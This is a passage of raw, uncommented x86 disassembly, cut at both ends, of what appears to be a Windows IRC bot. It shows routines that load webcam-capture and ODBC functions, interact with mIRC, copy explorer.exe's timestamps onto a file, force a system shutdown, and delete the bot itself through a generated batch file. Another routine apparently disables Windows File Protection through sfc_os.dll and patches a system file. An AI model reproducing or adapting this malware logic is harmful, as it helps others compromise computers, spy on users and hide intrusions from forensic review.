dword_42737C, ebx jz short loc_40476E cmp eax, ebx jnz short loc_404778 jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404763: ; CODE XREF: sub_403C25+AEAj call dword_41A07C ; RtlGetLastWin32Error mov dword_427428, eax loc_40476E: ; CODE XREF: sub_403C25+B26j ; sub_403C25+B2Ej ... mov dword_427424, 1 loc_404778: ; CODE XREF: sub_403C25+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4047AD push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_427288, eax call esi ; GetProcAddress cmp dword_427288, ebx mov dword_427388, eax jz short loc_4047B8 cmp eax, ebx jnz short loc_4047C2 jmp short loc_4047B8 ; --------------------------------------------------------------------------- loc_4047AD: ; CODE XREF: sub_403C25+B5Ej call dword_41A07C ; RtlGetLastWin32Error mov dword_427430, eax loc_4047B8: ; CODE XREF: sub_403C25+B80j ; sub_403C25+B86j mov dword_42742C, 1 loc_4047C2: ; CODE XREF: sub_403C25+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40484B push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_427350, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_42739C, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4272D8, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_427298, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_427330, eax call esi ; GetProcAddress cmp dword_427350, ebx mov dword_4272A4, eax jz short loc_404856 cmp dword_42739C, ebx jz short loc_404856 cmp dword_4272D8, ebx jz short loc_404856 cmp dword_427298, ebx jz short loc_404856 cmp dword_427330, ebx jz short loc_404856 cmp eax, ebx jnz short loc_404860 jmp short loc_404856 ; --------------------------------------------------------------------------- loc_40484B: ; CODE XREF: sub_403C25+BA8j call dword_41A07C ; RtlGetLastWin32Error mov dword_427438, eax loc_404856: ; CODE XREF: sub_403C25+BFEj ; sub_403C25+C06j ... mov dword_427434, 1 loc_404860: ; CODE XREF: sub_403C25+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_404895 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_42726C, eax call esi ; GetProcAddress cmp dword_42726C, ebx mov dword_427344, eax jz short loc_4048A0 cmp eax, ebx jnz short loc_4048AA jmp short loc_4048A0 ; --------------------------------------------------------------------------- loc_404895: ; CODE XREF: sub_403C25+C46j call dword_41A07C ; RtlGetLastWin32Error mov dword_427440, eax loc_4048A0: ; CODE XREF: sub_403C25+C68j ; sub_403C25+C6Ej mov dword_42743C, 1 loc_4048AA: ; CODE XREF: sub_403C25+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_403C25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048B2 proc near ; CODE XREF: sub_40997B+B11p ; sub_40997B+B45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40493D mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40493D cmp [ebp+arg_8], esi jz short loc_40493D cmp byte ptr [eax], 0 jz short loc_40493D push ebx push edi call sub_419742 mov ebx, eax pop ecx test ebx, ebx jz short loc_404938 push [ebp+arg_4] push edi call sub_4102A0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_404931 sub eax, edi push eax push edi push ebx call sub_410090 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_40E730 push eax push [ebp+arg_8] push ebx call sub_40FF60 push [ebp+arg_4] call sub_40E730 add eax, esi push eax push ebx call sub_40ED30 push ebx push edi call sub_40ED20 add esp, 30h mov esi, edi loc_404931: ; CODE XREF: sub_4048B2+3Cj push ebx call sub_40ECAF pop ecx loc_404938: ; CODE XREF: sub_4048B2+2Bj mov eax, esi pop ebx jmp short loc_40493F ; --------------------------------------------------------------------------- loc_40493D: ; CODE XREF: sub_4048B2+Cj ; sub_4048B2+13j ... xor eax, eax loc_40493F: ; CODE XREF: sub_4048B2+89j pop edi pop esi pop ebp retn sub_4048B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404943 proc near ; CODE XREF: sub_409802+EAp var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_40E800 mov esi, [ebp+arg_0] push esi call sub_40E730 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_404979 or eax, 0FFFFFFFFh jmp short loc_4049EC ; --------------------------------------------------------------------------- loc_404979: ; CODE XREF: sub_404943+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40499B loc_404985: ; CODE XREF: sub_404943+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_404992 cmp dl, 0Dh jnz short loc_404996 loc_404992: ; CODE XREF: sub_404943+48j and byte ptr [ecx+esi], 0 loc_404996: ; CODE XREF: sub_404943+4Dj inc ecx cmp ecx, eax jl short loc_404985 loc_40499B: ; CODE XREF: sub_404943+40j xor edx, edx push edi test eax, eax jle short loc_4049CC lea edi, [ebp+var_7CC] loc_4049A8: ; CODE XREF: sub_404943+87j cmp byte ptr [edx+esi], 0 jnz short loc_4049C7 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_4049C7 cmp ebx, 1F4h jge short loc_4049CC mov [edi], ecx inc ebx add edi, 4 loc_4049C7: ; CODE XREF: sub_404943+69j ; sub_404943+74j inc edx cmp edx, eax jl short loc_4049A8 loc_4049CC: ; CODE XREF: sub_404943+5Dj ; sub_404943+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_4049EA lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_40E940 add esp, 0Ch loc_4049EA: ; CODE XREF: sub_404943+8Ej mov eax, ebx loc_4049EC: ; CODE XREF: sub_404943+34j pop esi pop ebx leave retn sub_404943 endp ; =============== S U B R O U T I N E ======================================= sub_4049F0 proc near ; CODE XREF: sub_404A4A+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_404A29 push ebx mov ebx, edi loc_404A0D: ; CODE XREF: sub_4049F0+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_404A2C pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_404A0D pop ebx loc_404A29: ; CODE XREF: sub_4049F0+18j pop edi pop esi retn sub_4049F0 endp ; =============== S U B R O U T I N E ======================================= sub_404A2C proc near ; CODE XREF: sub_4049F0+25p ; sub_404A4A+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_410320 cmp al, 61h pop ecx jl short loc_404A47 cmp al, 7Ah jg short loc_404A47 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_404A47: ; CODE XREF: sub_404A2C+Ej ; sub_404A2C+12j xor eax, eax retn sub_404A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A4A proc near ; CODE XREF: sub_407B2E+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_40EC80 push ebx push esi push edi push [ebp+arg_0] call sub_40E730 push [ebp+arg_4] mov [ebp+var_4], eax call sub_40E730 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_4049F0 add esp, 14h dec esi mov edi, esi loc_404A88: ; CODE XREF: sub_404A4A+B6j test esi, esi jle short loc_404B06 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_410320 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_410320 pop ecx cmp eax, ebx pop ecx jz short loc_404AFE loc_404AAE: ; CODE XREF: sub_404A4A+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_404A2C mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_404ACF mov eax, ecx loc_404ACF: ; CODE XREF: sub_404A4A+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_404B02 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_410320 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_410320 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_404AAE loc_404AFE: ; CODE XREF: sub_404A4A+62j dec edi dec esi jmp short loc_404A88 ; --------------------------------------------------------------------------- loc_404B02: ; CODE XREF: sub_404A4A+8Aj xor eax, eax jmp short loc_404B0B ; --------------------------------------------------------------------------- loc_404B06: ; CODE XREF: sub_404A4A+40j mov eax, [ebp+arg_0] add eax, edi loc_404B0B: ; CODE XREF: sub_404A4A+BAj pop edi pop esi pop ebx leave retn sub_404A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404B10 proc near ; CODE XREF: sub_40997B+2A8Ap var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_41A07C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_41A0A8 ; FormatMessageA lea eax, [ebp+var_100] loc_404B49: ; CODE XREF: sub_404B10+46j mov cl, [eax] cmp cl, 1Fh jg short loc_404B55 cmp cl, 9 jnz short loc_404B58 loc_404B55: ; CODE XREF: sub_404B10+3Ej inc eax jmp short loc_404B49 ; --------------------------------------------------------------------------- loc_404B58: ; CODE XREF: sub_404B10+43j ; sub_404B10+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_404B72 mov cl, [eax] cmp cl, 2Eh jz short loc_404B58 cmp cl, 21h jl short loc_404B58 loc_404B72: ; CODE XREF: sub_404B10+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_427444 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_40E7AB add esp, 18h mov eax, esi pop esi leave retn sub_404B10 endp ; =============== S U B R O U T I N E ======================================= sub_404B9A proc near ; CODE XREF: sub_40997B+2A50p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_427320 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_404C16 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_41A0B4 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_41A0B0 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_40EE10 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_427370 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_427370 ; SendMessageA push ebx call dword_41A0AC ; UnmapViewOfFile push edi call dword_41A068 ; CloseHandle push 1 pop eax pop ebx jmp short loc_404C18 ; --------------------------------------------------------------------------- loc_404C16: ; CODE XREF: sub_404B9A+16j xor eax, eax loc_404C18: ; CODE XREF: sub_404B9A+7Aj pop edi pop esi pop ebp retn sub_404B9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C1C proc near ; CODE XREF: sub_409034+218p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4273D0 ; SearchPathA test eax, eax jz short loc_404CBB mov edi, 80h push esi push edi push 3 push esi mov esi, dword_41A074 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_404CBB lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_41A0BC ; GetFileTime push ebx mov ebx, dword_41A068 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404CBB lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_41A0B8 ; SetFileTime push esi call ebx ; CloseHandle loc_404CBB: ; CODE XREF: sub_404C1C+2Aj ; sub_404C1C+51j ... pop edi pop esi pop ebx leave retn sub_404C1C endp ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_40997B+1357p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_40DAF6 pop ecx pop ecx push 50005h push 6 call dword_42725C ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_404CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CE2 proc near ; CODE XREF: sub_407CCD+3A4p ; sub_407CCD+48Ep ... var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_41FBEC, esi push edi jz short loc_404D06 cmp dword_4273E4, esi jnz short loc_404D06 push esi call sub_407C5D pop ecx loc_404D06: ; CODE XREF: sub_404CE2+13j ; sub_404CE2+1Bj call sub_40E39F lea eax, [ebp+var_764] push eax push 400h call dword_41A0D0 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_40EE10 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_41A074 ; CreateFileA mov edi, eax cmp edi, esi jbe loc_404E66 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_40EE10 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call dword_41A06C ; WriteFile push edi call dword_41A068 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_40E800 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_40E800 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_424EF4 mov [ebp+var_2C], 1 mov [ebp+var_28], si call dword_41A0A4 ; GetModuleHandleA push eax call dword_41A078 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_41A0CC ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_404E0E lea eax, [ebp+var_15C] push 80h push eax call dword_41A0C8 ; SetFileAttributesA loc_404E0E: ; CODE XREF: sub_404CE2+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_40EE10 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call dword_41A0C4 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call dword_41A0C0 ; CreateProcessA loc_404E66: ; CODE XREF: sub_404CE2+72j pop edi pop esi leave retn sub_404CE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E6A proc near ; CODE XREF: sub_40997B+2251p ; sub_40997B+2F4Bp ... var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_0], 0 push esi push edi jz loc_404EFC push offset byte_424EF4 push [ebp+arg_0] call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_404EFC push 20h lea eax, [ebp+var_20] push [ebp+arg_0] push eax call sub_410090 mov esi, offset a_ ; "." lea eax, [ebp+var_20] push esi push eax call sub_4103EB add esp, 14h test eax, eax jz short loc_404EFC push eax call sub_40FB66 push esi push 0 mov edi, eax call sub_4103EB add esp, 0Ch test eax, eax jz short loc_404EFC push eax call sub_40FB66 cmp edi, 0Ah pop ecx jz short loc_404EF7 cmp edi, 0ACh jnz short loc_404EE8 cmp eax, 0Fh jle short loc_404EFC cmp eax, 20h jl short loc_404EF7 loc_404EE8: ; CODE XREF: sub_404E6A+72j cmp edi, 0C0h jnz short loc_404EFC cmp eax, 0A8h jnz short loc_404EFC loc_404EF7: ; CODE XREF: sub_404E6A+6Aj ; sub_404E6A+7Cj push 1 pop eax jmp short loc_404EFE ; --------------------------------------------------------------------------- loc_404EFC: ; CODE XREF: sub_404E6A+Cj ; sub_404E6A+23j ... xor eax, eax loc_404EFE: ; CODE XREF: sub_404E6A+90j pop edi pop esi leave retn sub_404E6A endp ; =============== S U B R O U T I N E ======================================= sub_404F02 proc near ; CODE XREF: sub_4061A3+7p ; sub_406539+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_427354 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_404F2A push [esp+arg_0] call dword_427398 ; gethostbyname test eax, eax jnz short loc_404F23 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_404F23: ; CODE XREF: sub_404F02+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_404F2A: ; CODE XREF: sub_404F02+Dj retn sub_404F02 endp ; =============== S U B R O U T I N E ======================================= sub_404F2B proc near ; CODE XREF: sub_4095BB+22Ep mov ecx, dword_42723C xor eax, eax test ecx, ecx jz short locret_404F39 call ecx ; DnsFlushResolverCache locret_404F39: ; CODE XREF: sub_404F2B+Aj retn sub_404F2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F3A proc near ; CODE XREF: sub_401000+8Ap ; .packed:00402250p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4272B8 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_427648 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset dword_41E35C push esi call sub_40EE10 add esp, 18h mov eax, esi pop esi leave retn sub_404F3A endp ; =============== S U B R O U T I N E ======================================= sub_404F93 proc near ; CODE XREF: sub_406287+1C8p ; sub_406287+20Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_404FBC mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_404FAF: ; CODE XREF: sub_404F93+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_404FAF pop edi jmp short loc_404FC0 ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404F93+Aj mov edx, [esp+4+arg_0] loc_404FC0: ; CODE XREF: sub_404F93+27j test esi, esi pop esi jz short loc_404FCA movzx ecx, byte ptr [edx] add eax, ecx loc_404FCA: ; CODE XREF: sub_404F93+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_404F93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE0 proc near ; CODE XREF: sub_4095BB+F1p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_80 = byte ptr -80h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call dword_41A0D4 ; GetVersionExA cmp [ebp+var_90], 5 jnz short loc_40502B cmp [ebp+var_8C], 1 jnz short loc_40502B lea eax, [ebp+var_80] push offset a2 ; "2" push eax call sub_4102A0 pop ecx test eax, eax pop ecx jz short loc_40502B push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_40502B: ; CODE XREF: sub_404FE0+27j ; sub_404FE0+30j ... xor eax, eax leave retn sub_404FE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40502F proc near ; CODE XREF: sub_405076+A1p var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+var_200] push 100h push eax push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call dword_41A064 ; MultiByteToWideChar push offset aSfc_os_dll ; "sfc_os.dll" call dword_41A09C ; LoadLibraryA push 5 push eax call dword_41A0A0 ; GetProcAddress lea ecx, [ebp+var_200] push 0FFFFFFFFh push ecx push 0 call eax leave retn sub_40502F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405076 proc near ; DATA XREF: sub_4095BB+18Do var_3B0 = dword ptr -3B0h var_3A0 = byte ptr -3A0h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = byte ptr -198h var_94 = dword ptr -94h var_90 = dword ptr -90h var_88 = byte ptr -88h var_80 = byte ptr -80h var_78 = byte ptr -78h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A0h mov eax, [ebp+arg_0] push ebx push esi push edi push 46h mov esi, eax pop ecx lea edi, [ebp+var_1A0] rep movsd push 1 mov edx, offset dword_41EF08 pop esi mov ecx, offset dword_41EF04 mov [eax+114h], esi mov eax, offset dword_424F04 xor ebx, ebx push esi mov [ebp+var_50], offset dword_41EF00 mov [ebp+var_4C], offset dword_41EEFC mov [ebp+var_48], offset dword_41EEF8 mov [ebp+var_44], eax mov [ebp+var_40], edx mov [ebp+var_3C], ecx mov [ebp+var_38], eax mov [ebp+var_34], eax mov [ebp+var_70], offset dword_41EEF4 mov [ebp+var_6C], offset dword_41EEF0 mov [ebp+var_68], offset dword_41EEEC mov [ebp+var_64], eax mov [ebp+var_60], edx mov [ebp+var_5C], ecx mov [ebp+var_58], eax mov [ebp+var_54], eax mov [ebp+var_8], ebx call sub_40E882 mov [ebp+var_C], eax mov [ebp+var_10], ebx mov [esp+3B0h+var_3B0], 7530h call dword_41A060 ; Sleep lea eax, [ebp+var_198] push eax call sub_40502F pop ecx mov edi, 80h lea eax, [ebp+var_198] push edi push eax call dword_41A0C8 ; SetFileAttributesA push ebx push edi push 3 push ebx push esi lea eax, [ebp+var_198] push 80000000h push eax call dword_41A074 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40516F lea ecx, [ebp+var_80] push ecx lea ecx, [ebp+var_78] push ecx lea ecx, [ebp+var_88] push ecx push eax call dword_41A0BC ; GetFileTime push [ebp+arg_0] call dword_41A068 ; CloseHandle loc_40516F: ; CODE XREF: sub_405076+D8j lea eax, [ebp+var_198] push offset aRB ; "r+b" push eax call sub_40FF46 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jnz short loc_4051C0 push offset unk_41EEBC lea eax, [ebp+var_3A0] push 200h push eax call sub_40E7AB lea eax, [ebp+var_3A0] push eax call sub_407A4E push [ebp+var_19C] call sub_40E4F2 add esp, 14h push ebx call dword_41A084 ; ExitThread loc_4051C0: ; CODE XREF: sub_405076+111j mov eax, [ebp+var_94] dec eax jz loc_405289 dec eax jnz loc_405337 mov [ebp+var_30], 130h mov [ebp+var_2C], 131h mov [ebp+var_28], 132h mov [ebp+var_24], 133h mov [ebp+var_20], 4F5A2h mov [ebp+var_1C], 4F5A3h mov [ebp+var_18], 4F5A4h mov [ebp+var_14], 4F5A5h mov [ebp+var_4], ebx loc_40520F: ; CODE XREF: sub_405076+1D8j mov eax, [ebp+var_4] push ebx push [ebp+eax+var_30] push [ebp+arg_0] call sub_40FE9A push [ebp+arg_0] push esi push esi push [ebp+var_C] call sub_40FC5A mov eax, [ebp+var_4] push esi push [ebp+eax+var_70] push [ebp+var_C] call sub_4105A0 add esp, 28h test eax, eax jnz short loc_405246 inc [ebp+var_8] loc_405246: ; CODE XREF: sub_405076+1CBj add [ebp+var_4], 4 cmp [ebp+var_4], 20h jl short loc_40520F cmp [ebp+var_8], 8 jge loc_405337 mov [ebp+var_10], esi loc_40525D: ; CODE XREF: sub_405076+20Cj push 0 push [ebp+ebx+var_30] push [ebp+arg_0] call sub_40FE9A push [ebp+arg_0] push esi push esi push [ebp+ebx+var_70] call sub_410487 add ebx, 4 add esp, 1Ch cmp ebx, 20h jl short loc_40525D jmp loc_405335 ; --------------------------------------------------------------------------- loc_405289: ; CODE XREF: sub_405076+151j mov [ebp+var_30], 130h mov [ebp+var_2C], 131h mov [ebp+var_28], 132h mov [ebp+var_24], 133h mov [ebp+var_20], 4F322h mov [ebp+var_1C], 4F323h mov [ebp+var_18], 4F324h mov [ebp+var_14], 4F325h mov [ebp+var_4], ebx loc_4052C4: ; CODE XREF: sub_405076+28Dj mov eax, [ebp+var_4] push ebx push [ebp+eax+var_30] push [ebp+arg_0] call sub_40FE9A push [ebp+arg_0] push esi push esi push [ebp+var_C] call sub_40FC5A mov eax, [ebp+var_4] push esi push [ebp+eax+var_50] push [ebp+var_C] call sub_4105A0 add esp, 28h test eax, eax jnz short loc_4052FB inc [ebp+var_8] loc_4052FB: ; CODE XREF: sub_405076+280j add [ebp+var_4], 4 cmp [ebp+var_4], 20h jl short loc_4052C4 cmp [ebp+var_8], 8 jge short loc_405337 mov [ebp+var_10], esi loc_40530E: ; CODE XREF: sub_405076+2BDj push 0 push [ebp+ebx+var_30] push [ebp+arg_0] call sub_40FE9A push [ebp+arg_0] push esi push esi push [ebp+ebx+var_50] call sub_410487 add ebx, 4 add esp, 1Ch cmp ebx, 20h jl short loc_40530E loc_405335: ; CODE XREF: sub_405076+20Ej xor ebx, ebx loc_405337: ; CODE XREF: sub_405076+158j ; sub_405076+1DEj ... push [ebp+arg_0] call sub_40FC04 pop ecx lea eax, [ebp+var_198] push ebx push edi push 3 push ebx push 2 push 40000000h push eax call dword_41A074 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40537D lea eax, [ebp+var_80] push eax lea eax, [ebp+var_78] push eax lea eax, [ebp+var_88] push eax push esi call dword_41A0B8 ; SetFileTime push esi call dword_41A068 ; CloseHandle loc_40537D: ; CODE XREF: sub_405076+2E8j cmp [ebp+var_10], ebx jz short loc_4053CB push [ebp+var_94] lea eax, [ebp+var_3A0] push offset dword_41EE98 push 200h push eax call sub_40E7AB push ebx lea eax, [ebp+var_3A0] push [ebp+var_90] push eax push offset aF_2 ; "#f" push [ebp+var_1A0] call sub_4084CC lea eax, [ebp+var_3A0] push eax call sub_407A4E add esp, 28h loc_4053CB: ; CODE XREF: sub_405076+30Aj push [ebp+var_19C] mov dword_41FC00, ebx call sub_40E4F2 pop ecx push ebx call dword_41A084 ; ExitThread sub_405076 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4053E4 proc near ; CODE XREF: sub_405503+1DDp ; sub_40997B+344Bp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_41A090 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov 